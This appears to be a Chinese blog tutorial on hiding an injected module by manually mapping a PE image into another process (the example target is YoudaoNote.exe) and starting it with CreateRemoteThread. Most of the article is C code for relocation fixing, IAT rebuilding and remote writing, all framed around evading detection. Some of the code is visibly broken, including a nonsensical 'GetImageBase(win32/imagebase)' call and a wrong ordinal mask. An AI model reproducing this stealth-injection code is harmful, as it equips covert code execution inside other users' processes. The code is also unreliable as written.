通过内存写入隐藏模块
字数 986 2025-08-09 13:33:42
通过内存写入隐藏模块的技术详解
前言
传统的DLL注入技术(如全局钩子注入、远程线程注入等)会在目标进程的导入表中留下明显的痕迹。本文将介绍一种更隐蔽的注入技术——通过内存写入隐藏模块,这种方法不会在导入表中留下痕迹,提高了隐蔽性。
基础知识
重定位表(Relocation Table)
重定位表用于在程序加载到内存时进行内存地址修正。当加载器分配的基址与PE文件默认的ImageBase不同时,需要修正所有"写死"的绝对地址。
示例场景:
- test.exe的ImageBase为0x400000
- a.dll、b.dll、c.dll的ImageBase均为0x1000000
- 如果a.dll先加载到0x1000000,b.dll需要重新分配到0x1200000
- b.dll中的call 0x01034560需要修正为0x01234560
PE文件结构
-
DOS头:
- MZ头(IMAGE_DOS_HEADER)
- DOS存根(兼容DOS程序)
-
PE头:
- PE标识(IMAGE_NT_SIGNATURE)
- 文件头(IMAGE_FILE_HEADER)
- 可选头(IMAGE_OPTIONAL_HEADER32)
-
节表:
- 由N个IMAGE_SECTION_HEADER组成
- 描述各节的属性、文件位置、内存位置等
-
节表数据:
- 实际程序数据部分
导入表与IAT表
导入表结构:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //指向INT表
};
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; //指向DLL名称
DWORD FirstThunk; //指向IAT表
} IMAGE_IMPORT_DESCRIPTOR;
IAT表特点:
- 加载前:存放函数名称,指向IMAGE_IMPORT_BY_NAME结构
- 加载后:存放函数实际地址
实现过程
1. 修复IAT表
DWORD WINAPI FixIATTable(LPVOID ImageBase) {
// 获取PE头信息
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)ImageBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pNTHeader + 4 + IMAGE_SIZEOF_FILE_HEADER);
// 获取导入表
PIMAGE_IMPORT_DESCRIPTOR pIMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + pOptionHeader->DataDirectory[1].VirtualAddress);
while (pIMPORT_DESCRIPTOR->FirstThunk && pIMPORT_DESCRIPTOR->OriginalFirstThunk) {
// 加载DLL
const char* pModuleAddr = (const char*)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name);
HMODULE hModule = LoadLibraryA(pModuleAddr);
// 处理INT和IAT表
PDWORD OriginalFirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->OriginalFirstThunk);
PDWORD FirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->FirstThunk);
while (*OriginalFirstThunk) {
DWORD dwFuncAddr = 0;
if (*OriginalFirstThunk & 0x80000000) {
// 序号导入
DWORD Original = *OriginalFirstThunk & 0xFFF;
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)Original);
} else {
// 名称导入
PIMAGE_IMPORT_BY_NAME pImage_IMPORT_BY_NAME = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + *OriginalFirstThunk);
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)pImage_IMPORT_BY_NAME->Name);
}
*FirstThunk = dwFuncAddr;
OriginalFirstThunk++;
FirstThunk++;
}
pIMPORT_DESCRIPTOR++;
}
return 1;
}
2. 修复重定位表
void FixRelocationTable(LPVOID pAddr, LPVOID pExAddr) {
PIMAGE_BASE_RELOCATION pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pAddr + GetRelocAddr(pAddr));
while (pRelocationDirectory->SizeOfBlock != 0 && pRelocationDirectory->VirtualAddress != 0) {
DWORD sizeOfWord = (pRelocationDirectory->SizeOfBlock - 8) / 2;
PWORD pWord = (PWORD)((DWORD)pRelocationDirectory + 8);
for (int i = 0; i < sizeOfWord; i++) {
if (*pWord >> 12 != 0) {
PDWORD offsetAddr = (PDWORD)(pRelocationDirectory->VirtualAddress + (*pWord & 0xFFF) + (DWORD)pAddr);
*offsetAddr = *offsetAddr + (DWORD)pExAddr - GetImageBase(win32/imagebase);
pWord++;
continue;
}
pWord++;
}
pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + pRelocationDirectory->SizeOfBlock);
}
}
3. 完整注入流程
VOID inject(LPCWSTR InjetName) {
// 1. 获取目标进程信息
WCHAR ProcessName[] = TEXT("YoudaoNote.exe");
DWORD dwPid = GetPid(ProcessName);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);
// 2. 获取关键函数地址
HMODULE hKernel32 = LoadLibrary(TEXT("Kernel32.dll"));
pLoadLibrary MyLoadlibrary = (pLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");
pGetProcAddress pMyGetAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
// 3. 计算函数偏移
DWORD CurrentImageBase = (DWORD)GetModuleHandle(NULL);
DWORD dwTemp = (DWORD)ThreadProc;
if (*((char*)dwTemp) == (char)0xE9) {
dwTemp = dwTemp + *((PDWORD)(dwTemp + 1)) + 5;
}
DWORD pFun = dwTemp - CurrentImageBase;
// 4. 加载自身镜像
LPVOID pImageBuff = LoadImageBuffSelf();
DWORD SizeofImage = GetSizeOfImage(pImageBuff);
DWORD ImageBase = GetImageBase(pImageBuff);
// 5. 在目标进程申请空间
LPVOID pAlloc = NULL;
for (DWORD i = 0; pAlloc == NULL; i += 0x10000) {
pAlloc = VirtualAllocEx(hProcess, (LPVOID)(ImageBase + i), SizeofImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
// 6. 修复重定位表
if ((DWORD)pAlloc != ImageBase) {
ChangeImageBase(pImageBuff, (DWORD)pAlloc);
}
// 7. 写入目标进程
WriteProcessMemory(hProcess, pAlloc, pImageBuff, SizeofImage, NULL);
// 8. 创建远程线程执行
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD)pAlloc + pFun), (LPVOID)(pAlloc), 0, NULL);
}
实现效果
注入到"有道云笔记"进程后:
- 首先弹出一个MessageBox确认框
- 之后每隔一秒弹出一个"内存写入"的MessageBox
- 在进程模块列表中看不到注入的DLL,实现了隐蔽注入
关键点总结
- 重定位修复:必须正确处理重定位表,修正所有绝对地址引用
- IAT修复:需要重建导入地址表,确保所有API调用能正确解析
- 内存分配:在目标进程中分配足够空间存放整个PE映像
- 地址修正:计算正确的函数偏移,确保远程线程能正确执行
- 隐蔽性:不依赖LoadLibrary,不在导入表中留下痕迹
这种技术比传统注入方法更隐蔽,但实现复杂度更高,需要深入理解PE文件结构和内存管理机制。